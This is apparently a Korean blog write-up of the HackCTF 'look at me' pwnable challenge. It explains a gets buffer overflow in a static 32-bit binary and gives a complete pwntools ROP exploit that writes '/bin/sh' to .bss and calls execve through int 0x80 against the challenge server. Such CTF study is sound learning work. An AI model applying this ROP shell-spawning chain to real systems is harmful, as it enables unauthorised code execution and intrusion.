문제 풀이 환경 : ubuntu 18.04 |
함수와 syscall의 차이?
그리고 아래 문제가 생각났던 문제..
주어진 파일은 문제 파일 바이너리
Analysis
바이너리를 IDA로 열자마자 느꼈던게.. 왼쪽에 함수 목록에 함수들이 너무나 많았다.
static으로 컴파일 된 프로그램 같았다.
그리고 맞았다. ㅇㅁㅇ..!!
일단 main을 살펴보자.
main은 간단하다. look_at_me 함수를 살펴보자.
gets에서 BOF가 발생한다.
RET를 어떤 함수로 덮을까... 하여 함수 목록을 살펴봤지만 뭐 flag를 출력해주는 함수도 없고.. system 함수도 없고(ㅜㅜ) 심지어 nx도 걸려있어서 쉘코드 실행도 못한다.. 그래서 syscall을 이용하기로 했다.
How to exploit
- gets 함수로 bss영역에 "/bin/sh" 문자열 삽입
- execve 함수로 셸 실행
11번째의 execve를 실행시켜야 한다.
eax는 0x0b
ebx는 bss
나머지 인자 두개는 0을 집어넣어 주면 된다.
필요한 가젯을 찾고
먼저 bss영역에 get 쓰고 main으로 돌려서 execve를 실행시키면 될 것 같당.
아 참고로 32bit는 int 0x80을 실행시켜야 한다. (64bit는 syscall이었다.)
Let's exploit!
from pwn import *
#p = process('./lookatme')
p = remote('ctf.j0n9hyun.xyz', 3017)
e = ELF('./lookatme')
main = 0x080488a3
gets_addr = e.symbols['gets']
int80 = 0x0806cc25
pop_eax = 0x080b81c6
pop_ebx = 0x080481c9
pop_ecx = 0x080de955
pop_edx = 0x0806f02a
#
payload = ''
payload += 'a' * (0x18+0x4)
payload += p32(gets_addr)
payload += p32(main)
payload += p32(e.bss())
p.sendlineafter('\n', payload)
p.sendline('/bin/sh\x00')
# execve
payload = ''
payload += 'a' * (0x18 + 0x4)
payload += p32(pop_eax)
payload += p32(0x0b)
payload += p32(pop_ebx)
payload += p32(e.bss())
payload += p32(pop_ecx)
payload += p32(0)
payload += p32(pop_edx)
payload += p32(0)
payload += p32(int80)
#pause()
p.sendlineafter('\n', payload)
p.interactive()
레지스터에 값을 다 올바르게 채워넣고 syscall(int 0x80)을 해야 한다.
'WAR GAME > HackCTF' 카테고리의 다른 글
[HackCTF : Pwnable] gift 풀이 (32bit, ROP) (0) | 2021.04.10 |
---|---|
[HackCTF : Pwnable] look at me 풀이 (32bit, mprotect) (0) | 2021.04.09 |
[HackCTF : Pwnable] RTL_Core 풀이 (32bit, RTL) (0) | 2021.04.05 |
[HackCTF : Pwnable] Random key 풀이 (rand) (0) | 2021.03.25 |
[HackCTF : Pwnable] 1966 풀이 (cpp, BOF) (0) | 2021.03.24 |